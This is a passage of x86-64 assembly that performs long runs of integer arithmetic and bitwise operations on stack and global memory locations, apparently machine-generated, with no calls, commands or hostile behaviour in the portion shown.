add eax, ecx
mov byte [rsp + 0x114], al
movsx eax, byte [rsp + 0x251]
mov rcx, qword [rsp + 0xbbf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa900]
mov byte [rcx], al
mov rax, qword [rsp + 0xa808]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1188]
add eax, ecx
mov rcx, qword [rsp + 0xa5d0]
mov word [rcx], ax
mov eax, dword [rsp + 0x423c]
mov dword [rsp + 0x4bf4], eax
mov eax, dword [rsp + 0x3c38]
mov ecx, dword [rsp + 0x4aa8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbbc8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov word [rsp + 0x1308], ax
movzx eax, byte [rsp + 0x15e]
mov rcx, qword [0x14019d8b8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0xa568]
mov eax, dword [rax]
mov dword [0x14019de58], eax
mov rax, qword [rsp + 0xaf00]
mov eax, dword [rax]
mov dword [rsp + 0x4bf8], eax
mov rax, qword [rsp + 0xba18]
mov ecx, dword [rsp + 0x40e4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42b8], eax
mov rax, qword [rsp + 0xbc80]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49b0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4544], eax
movzx eax, byte [rsp + 0x15d]
mov byte [rsp + 0x264], al
movzx eax, word [rsp + 0x10bc]
mov rcx, qword [0x14019d9d8]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa990]
mov word [rcx], ax
lea rax, [rsp + 0x4180]
mov qword [rsp + 0xcb08], rax
mov rax, qword [rsp + 0xad00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xb338]
mov qword [rsp + 0xcb10], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4560], eax
mov rax, qword [rsp + 0xc488]
mov rcx, qword [0x14019d7b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xc650]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41c0]
movzx ecx, al
mov eax, dword [rsp + 0x4a84]
sar eax, cl
mov dword [0x14019c074], eax
mov rax, qword [rsp + 0xb1e8]
mov eax, dword [rax]
mov dword [rsp + 0x4bfc], eax
movsx eax, byte [rsp + 0x22d]
mov rcx, qword [rsp + 0xaa98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x206], al
movzx eax, word [rsp + 0xf74]
mov word [rsp + 0x130c], ax
mov rax, qword [rsp + 0xb398]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xadb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x16a], al
mov rax, qword [rsp + 0xc8b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x12b4]
sub eax, ecx
mov word [rsp + 0xf70], ax
mov eax, dword [rsp + 0x491c]
mov dword [rsp + 0x4c00], eax
mov eax, dword [rsp + 0x4630]
mov ecx, dword [rsp + 0x34c0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb378]
mov dword [rcx], eax
movzx eax, word [rsp + 0xfc0]
mov word [rsp + 0x1310], ax
movzx eax, byte [rsp + 0x24d]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14019dd70]
mov byte [rcx], al
mov rax, qword [rsp + 0xc640]
mov ecx, dword [rsp + 0x42dc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48b0], eax
lea rax, [rsp + 0x44c4]
mov qword [rsp + 0xcb18], rax
mov eax, dword [rsp + 0x3e18]
mov ecx, dword [rsp + 0x4798]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0xa4a8]
mov rcx, qword [rsp + 0xbc58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xb8f0]
mov dword [rcx], eax
lea rax, [rsp + 0x155]
mov qword [rsp + 0xcb20], rax
mov rax, qword [rsp + 0xb460]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xff0]
sub eax, ecx
mov word [rsp + 0xfd0], ax
lea rax, [rsp + 0x3420]
mov qword [rsp + 0xcb28], rax
mov rax, qword [rsp + 0xba80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbfc0]
mov qword [rsp + 0xcb30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4750], eax
lea rax, [rsp + 0x1b8]
mov qword [0x14019de60], rax
movsx eax, word [rsp + 0xfc8]
mov rcx, qword [rsp + 0xb088]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x11c4], ax
movzx eax, word [0x14019db18]
movzx ecx, word [rsp + 0x1208]
sar eax, cl
mov word [rsp + 0xd4c], ax
mov rax, qword [rsp + 0xc318]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x217]
xor eax, ecx
mov rcx, qword [rsp + 0xb708]
mov byte [rcx], al
mov eax, dword [rsp + 0x443c]
mov dword [rsp + 0x4c04], eax
mov rax, qword [rsp + 0xacc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4468]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x45e8], eax
mov rax, qword [rsp + 0xa770]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4264]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xab30]
mov dword [rcx], eax
lea rax, [rsp + 0x4824]
mov qword [rsp + 0xcb38], rax
mov eax, dword [rsp + 0x4610]
mov ecx, dword [0x14019c074]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x43cc], eax
movzx eax, word [rsp + 0x114c]
mov word [rsp + 0x1314], ax
mov rax, qword [rsp + 0xc828]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa618]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14019bfaa], al
mov eax, dword [rsp + 0x4898]
mov ecx, dword [rsp + 0x41f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xbc58]
mov dword [rcx], eax
mov rax, qword [rsp + 0xb820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x462c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb318]
mov dword [rcx], eax
lea rax, [0x14019bf30]
mov qword [rsp + 0xcb40], rax
mov rax, qword [rsp + 0xb090]
mov rcx, qword [rsp + 0xbcd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x43b0], eax
movzx eax, byte [rsp + 0x12e]
mov byte [rsp + 0x265], al
movzx eax, word [rsp + 0x12c0]
movzx ecx, word [0x14019bf00]
sub eax, ecx
mov rcx, qword [rsp + 0xc288]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1b9]
mov byte [rsp + 0x266], al
mov rax, qword [rsp + 0xca60]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x11ec]
add eax, ecx
mov word [rsp + 0x106c], ax
mov eax, dword [0x14019bf74]
mov ecx, dword [rsp + 0x4b20]
and ecx, eax
mov eax, ecx
mov dword [0x14019dd38], eax
mov rax, qword [rsp + 0xa7a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc368]
mov qword [rsp + 0xcb48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb48]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xacd8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbf18]
movzx eax, byte [rax]
mov byte [rsp + 0x267], al
mov rax, qword [rsp + 0xa750]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xbec]
shl eax, cl
mov word [rsp + 0x11bc], ax
lea rax, [rsp + 0x4b04]
mov qword [rsp + 0xcb50], rax
mov rax, qword [rsp + 0xbfd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bc0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa840]
mov dword [rcx], eax
mov rax, qword [rsp + 0xaa48]
mov eax, dword [rax]
mov ecx, dword [0x14019bf60]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa740]
mov dword [rcx], eax
lea rax, [rsp + 0x4820]
mov qword [rsp + 0xcb58], rax
mov rax, qword [rsp + 0xae28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb520]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa898]
mov word [rcx], ax
mov rax, qword [rsp + 0xc610]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
sub eax, ecx
mov byte [0x14019bfca], al
mov rax, qword [rsp + 0xc2f0]
mov eax, dword [rax]
mov dword [rsp + 0x4c08], eax
mov rax, qword [rsp + 0xc398]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c48]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xad20]
mov eax, dword [rax]
mov ecx, dword [0x14019bf18]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa4a0]
mov dword [rcx], eax
lea rax, [rsp + 0x4880]
mov qword [rsp + 0xcb60], rax
mov rax, qword [rsp + 0xc1f0]
mov rcx, qword [rsp + 0xc0f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x36fc], eax
lea rax, [0x14019900d]
mov qword [rsp + 0xcb68], rax
mov rax, qword [rsp + 0xa578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc388]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov word [rcx], ax
mov rax, qword [rsp + 0xaf58]
movzx eax, word [rax]
mov word [rsp + 0x1318], ax
mov rax, qword [rsp + 0xc620]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25e]
sub eax, ecx
mov byte [0x14019bf03], al
mov rax, qword [rsp + 0xa798]
mov ecx, dword [rsp + 0x4a18]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4350], eax
mov rax, qword [0x14019dbd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4244]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x454c], eax
movzx eax, byte [rsp + 0x1cd]
mov byte [rsp + 0x268], al
movzx eax, word [rsp + 0x1108]
movzx ecx, word [rsp + 0x10c8]
add eax, ecx
mov rcx, qword [rsp + 0xb850]
mov word [rcx], ax
mov rax, qword [0x14019d9c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x472c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3444], eax
mov eax, dword [rsp + 0x44a4]
mov rcx, qword [rsp + 0xb940]
mov qword [rsp + 0xcb70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcb70]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x4388], eax
mov rax, qword [rsp + 0xac70]
mov ecx, dword [rsp + 0x4410]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4588], eax
mov eax, dword [0x14019bfec]
mov dword [rsp + 0x4c0c], eax
lea rax, [rsp + 0x10cc]
mov qword [0x14019de68], rax
mov rax, qword [rsp + 0xc7b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xca28]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xbf68]
mov byte [rcx], al
lea rax, [0x14019d834]
mov qword [rsp + 0xcb78], rax
mov rax, qword [rsp + 0xabd0]
mov ecx, dword [rsp + 0x4338]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x34c0], eax
movsx eax, word [rsp + 0x1170]
movsx ecx, word [rsp + 0xb74]
imul eax, ecx
mov word [rsp + 0x1250], ax
movzx eax, byte [0x14019bf66]
mov byte [rsp + 0x269], al
mov rax, qword [rsp + 0xc520]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc610]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x176], al
lea rax, [rsp + 0x12b8]
mov qword [rsp + 0xcb80], rax
mov eax, dword [0x14019bf48]
mov ecx, dword [rsp + 0x48bc]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa508]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4bdc]
mov ecx, dword [rsp + 0x3b8c]
add ecx, eax
mov eax, ecx
mov dword [0x14019c078], eax
mov rax, qword [rsp + 0xc398]
mov ecx, dword [rsp + 0x47c4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x482c], eax
lea rax, [0x14019dcb0]
mov qword [rsp + 0xcb88], rax
mov rax, qword [rsp + 0xbff0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x494c], eax
mov rax, qword [rsp + 0xa868]
movzx eax, word [rax]
mov word [rsp + 0x131c], ax
mov rax, qword [rsp + 0xa570]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9a]
add eax, ecx
mov byte [rsp + 0x257], al
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
mov dword [rsp + 0x4c10], eax
mov rax, qword [rsp + 0xcaa0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4a10]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3df8], eax
mov rax, qword [rsp + 0xbfe8]
mov eax, dword [rax]
mov ecx, dword [0x14019bf40]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb230]
mov dword [rcx], eax
mov eax, dword [rsp + 0x43d4]
mov ecx, dword [rsp + 0x4b88]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019d8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa930]
movzx eax, byte [rax]
mov byte [rsp + 0x26a], al
mov rax, qword [rsp + 0xbb78]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1068]
xor eax, ecx
mov rcx, qword [rsp + 0xba00]
mov word [rcx], ax
movzx eax, word [rsp + 0xfdc]
mov word [rsp + 0x1320], ax
mov rax, qword [rsp + 0xa8b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
or eax, ecx
mov byte [rsp + 0x1f2], al
mov rax, qword [rsp + 0xae00]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14019dd38]
shr eax, cl
mov rcx, qword [rsp + 0xc278]
mov dword [rcx], eax
lea rax, [rsp + 0x3a98]
mov qword [rsp + 0xcb90], rax
movzx eax, word [rsp + 0x12a8]
movzx ecx, word [rsp + 0x1304]
shl eax, cl
mov rcx, qword [rsp + 0xa850]
mov word [rcx], ax
mov rax, qword [rsp + 0xc770]
movzx eax, byte [rax]
mov byte [rsp + 0x26b], al
mov eax, dword [rsp + 0x419c]
mov dword [0x14019de70], eax
mov rax, qword [rsp + 0xa3b0]
mov ecx, dword [rsp + 0x4b44]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4688], eax
mov rax, qword [0x14019ddf0]
mov ecx, dword [rsp + 0x4940]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x42e0], eax
mov eax, dword [rsp + 0x419c]
mov dword [rsp + 0x4c14], eax
mov rax, qword [rsp + 0xc4a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x165]
sub eax, ecx
mov byte [rsp + 0x255], al
mov rax, qword [0x14019d9b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xdb8]
sub eax, ecx
mov word [rsp + 0xa54], ax
mov rax, qword [rsp + 0xa6c8]
mov ecx, dword [rsp + 0x47d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a1c], eax
mov rax, qword [rsp + 0xbfe8]
mov rcx, qword [0x14019d990]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4624], eax
mov eax, dword [rsp + 0x41f8]
mov dword [rsp + 0x4c18], eax
mov rax, qword [rsp + 0xbcc0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4754]
sub ecx, eax
mov eax, ecx
mov rcx, qword [0x14019dc90]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa8f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4370]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4204], eax
lea rax, [rsp + 0x127c]
mov qword [rsp + 0xcb98], rax
movsx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0xa638]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcb68]
mov byte [rcx], al
mov rax, qword [0x14019dd90]
movzx eax, word [rax]
mov word [rsp + 0x1324], ax
movzx eax, byte [rsp + 0x173]
movzx ecx, byte [rsp + 0x1d0]
add eax, ecx
mov rcx, qword [rsp + 0xc068]
mov byte [rcx], al
mov rax, qword [rsp + 0xbb28]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x492c]
shr eax, cl
mov dword [rsp + 0x4964], eax
lea rax, [rsp + 0x4b3c]
mov qword [rsp + 0xcba0], rax
movzx eax, word [rsp + 0x1214]
mov rcx, qword [rsp + 0xa500]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xae4], ax
mov rax, qword [rsp + 0xc4b0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x268]
or eax, ecx
mov byte [0x14019d797], al
mov eax, dword [rsp + 0x4388]
mov dword [rsp + 0x4c1c], eax
mov eax, dword [rsp + 0x47b8]
movzx ecx, al
mov eax, dword [rsp + 0x4ac0]
shl eax, cl
mov dword [rsp + 0x4000], eax
mov rax, qword [rsp + 0xc370]
mov ecx, dword [rsp + 0x4294]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4b40], eax
lea rax, [0x14019db70]
mov qword [rsp + 0xcba8], rax
mov rax, qword [rsp + 0xb698]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x18d]
sub eax, ecx
mov rcx, qword [rsp + 0xb2d0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb0f0]
movzx eax, word [rax]
mov word [rsp + 0x1328], ax
mov rax, qword [rsp + 0xbd88]
mov rcx, qword [rsp + 0xa6a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcb08]
mov dword [rcx], eax
mov eax, dword [rsp + 0x44e0]
mov ecx, dword [rsp + 0x43ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc508]
mov dword [rcx], eax
lea rax, [rsp + 0x11c4]
mov qword [0x14019de78], rax
mov rax, qword [0x14019dd10]
movzx eax, byte [rax]
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0xa968]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa5c0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x227], al
lea rax, [rsp + 0x12e4]
mov qword [rsp + 0xcbb0], rax
mov rax, qword [rsp + 0xc868]
mov ecx, dword [0x14019bf70]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc8c0]
mov dword [rcx], eax
lea rax, [rsp + 0x4428]
mov qword [rsp + 0xcbb8], rax
mov eax, dword [rsp + 0x42cc]
mov ecx, dword [rsp + 0x365c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4184], eax
mov rax, qword [rsp + 0xa600]
mov ecx, dword [rsp + 0x48f0]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc4d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc368]
mov eax, dword [rax]
mov dword [rsp + 0x4c20], eax
movzx eax, byte [rsp + 0x1b7]
movzx ecx, byte [rsp + 0x247]
add eax, ecx
mov byte [rsp + 0x151], al
movzx eax, word [0x14019dca0]
mov rcx, qword [rsp + 0xc148]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x14019bf6c], ax
mov rax, qword [rsp + 0xc578]
mov eax, dword [rax]
mov dword [rsp + 0x4c24], eax
mov eax, dword [rsp + 0x416c]
movzx ecx, al
mov eax, dword [rsp + 0x4644]
sar eax, cl
mov dword [rsp + 0x3b74], eax
mov eax, dword [rsp + 0x436c]
mov ecx, dword [0x14019c06c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x4914], eax
lea rax, [rsp + 0x4220]
mov qword [rsp + 0xcbc0], rax
mov rax, qword [rsp + 0xa350]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1290]
shl eax, cl
mov rcx, qword [rsp + 0xb508]
mov word [rcx], ax
lea rax, [0x14019d7b6]
mov qword [rsp + 0xcbc8], rax
movsx eax, byte [rsp + 0x1ec]
movsx ecx, byte [rsp + 0x67]
or eax, ecx
mov byte [rsp + 0x16d], al
mov rax, qword [rsp + 0xaed8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xed8]
cdq
idiv ecx
mov word [rsp + 0x10e4], ax
lea rax, [0x14019daa0]
mov qword [0x14019de80], rax
mov eax, dword [rsp + 0x46c4]
mov dword [rsp + 0x4c28], eax
movzx eax, byte [rsp + 0x19f]
movzx ecx, byte [rsp + 0x19d]
and eax, ecx
mov rcx, qword [rsp + 0xc638]
mov byte [rcx], al
lea rax, [rsp + 0x12a8]
mov qword [rsp + 0xcbd0], rax
mov rax, qword [0x14019da40]
mov rcx, qword [rsp + 0xbde0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4548], eax
mov rax, qword [rsp + 0xc150]
mov ecx, dword [rsp + 0x45ac]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xa748]
mov dword [rcx], eax
lea rax, [0x14019ddd0]
mov qword [rsp + 0xcbd8], rax
mov rax, qword [rsp + 0xb608]
mov ecx, dword [rsp + 0x436c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x45a4], eax
movzx eax, word [rsp + 0x1020]
mov rcx, qword [rsp + 0xbfb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb94], ax
movzx eax, byte [0x14019beee]
movzx ecx, byte [rsp + 0x244]
sub eax, ecx
mov byte [0x14019bfaa], al
mov rax, qword [rsp + 0xaba0]
mov rcx, qword [rsp + 0xbbc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc070]
mov dword [rcx], eax
mov eax, dword [rsp + 0x41cc]
mov dword [rsp + 0x4c2c], eax
mov eax, dword [rsp + 0x49a4]
mov ecx, dword [0x14019bf2c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4198], eax
mov eax, dword [rsp + 0x4240]
mov ecx, dword [rsp + 0x4334]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4978], eax
lea rax, [rsp + 0x41f4]
mov qword [rsp + 0xcbe0], rax
movsx eax, word [0x14019beec]
movsx ecx, word [rsp + 0xb70]
xor eax, ecx
mov word [rsp + 0x115c], ax
lea rax, [rsp + 0x169]
mov qword [rsp + 0xcbe8], rax
movzx eax, byte [rsp + 0x1b2]
movzx ecx, byte [rsp + 0x22a]
shl eax, cl
mov byte [rsp + 0x265], al
lea rax, [rsp + 0xf14]
mov qword [0x14019de88], rax
mov rax, qword [rsp + 0xbca8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x42c4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x439c], eax
mov rax, qword [rsp + 0xb218]
mov eax, dword [rax]
mov dword [rsp + 0x4c30], eax
movzx eax, word [rsp + 0xf6c]
mov rcx, qword [rsp + 0xbaa0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x125c], ax
mov rax, qword [rsp + 0xc4f8]
movzx eax, byte [rax]
mov byte [rsp + 0x26d], al
mov eax, dword [rsp + 0x49ac]
mov ecx, dword [rsp + 0x4b38]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xba18]
mov dword [rcx], eax
mov eax, dword [rsp + 0x38d0]
mov ecx, dword [0x14019bfc0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x49b0], eax
mov rax, qword [rsp + 0xb938]
mov eax, dword [rax]
mov dword [rsp + 0x4c34], eax
mov eax, dword [rsp + 0x47ac]
mov ecx, dword [rsp + 0x4784]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb188]
mov dword [rcx], eax
movzx eax, byte [0x14019bf9e]
movzx ecx, byte [rsp + 0x154]
add eax, ecx
mov rcx, qword [0x14019dd78]
mov byte [rcx], al
mov rax, qword [rsp + 0xc6a0]
movzx eax, word [rax]
mov word [rsp + 0x132c], ax
mov rax, qword [rsp + 0xa8c8]
mov rcx, qword [rsp + 0xcad8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x39a0], eax
mov eax, dword [rsp + 0x4b6c]
mov dword [rsp + 0x4c38], eax
movsx eax, byte [rsp + 0x23b]
mov rcx, qword [rsp + 0xa7a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbd48]
mov byte [rcx], al
movsx eax, word [rsp + 0x106c]
mov rcx, qword [rsp + 0xadd0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb610]
mov word [rcx], ax
movzx eax, byte [rsp + 0x163]
mov byte [rsp + 0x26e], al
mov rax, qword [rsp + 0xae68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x102c]
sub eax, ecx
mov word [rsp + 0xa54], ax
mov eax, dword [rsp + 0x4a00]
mov dword [rsp + 0x4c3c], eax
lea rax, [rsp + 0x4690]
mov qword [0x14019de90], rax
mov rax, qword [rsp + 0xaa48]
mov rcx, qword [rsp + 0xaf18]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb590]
mov dword [rcx], eax
mov rax, qword [rsp + 0xac98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x41d0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a58], eax
lea rax, [0x14019c040]
mov qword [rsp + 0xcbf0], rax
mov rax, qword [rsp + 0xc958]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb578]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xf54], ax
lea rax, [rsp + 0x165]
mov qword [rsp + 0xcbf8], rax
mov rax, qword [rsp + 0xbcf0]
mov rcx, qword [rsp + 0xb648]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0xaf30]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc260]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbeb0]
mov qword [rsp + 0xcc00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcc00]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xc088]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4808]
movzx ecx, al
mov eax, dword [rsp + 0x3a4c]
shl eax, cl
mov dword [rsp + 0x3f00], eax
lea rax, [rsp + 0x4bb0]
mov qword [0x14019de98], rax
mov rax, qword [rsp + 0xcae8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xc218]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfac], ax
mov rax, qword [rsp + 0xac90]
movzx eax, byte [rax]
mov byte [rsp + 0x26f], al
mov rax, qword [0x14019dd10]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa9e0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbaf0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbf78]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc5b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xf74], ax
lea rax, [rsp + 0x4018]
mov qword [rsp + 0xcc08], rax
mov rax, qword [rsp + 0xa980]
mov eax, dword [rax]
mov ecx, dword [str.so_g_]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8d0]
mov dword [rcx], eax
lea rax, [rsp + 0x1b2]
mov qword [rsp + 0xcc10], rax
mov rax, qword [rsp + 0xac08]
movzx eax, word [rax]
movzx ecx, word [0x14019bf7c]
add eax, ecx
mov word [rsp + 0x1198], ax
mov eax, dword [rsp + 0x33b8]
mov ecx, dword [rsp + 0x36b4]
sub ecx, eax
mov eax, ecx
mov dword [0x14019bfe0], eax
lea rax, [rsp + 0x497c]
mov qword [rsp + 0xcc18], rax
mov eax, dword [0x14019bf90]
mov ecx, dword [rsp + 0x4414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4a74], eax
mov rax, qword [rsp + 0xb7d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4614]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc038]
mov dword [rcx], eax
lea rax, [rsp + 0xfd]
mov qword [rsp + 0xcc20], rax
mov rax, qword [rsp + 0xab10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1134]
sub eax, ecx
mov word [rsp + 0xb94], ax
lea rax, [rsp + 0x3edc]
mov qword [rsp + 0xcc28], rax
mov rax, qword [rsp + 0xc6d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4bb8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc548]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc558]
mov ecx, dword [rsp + 0x4900]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb750]
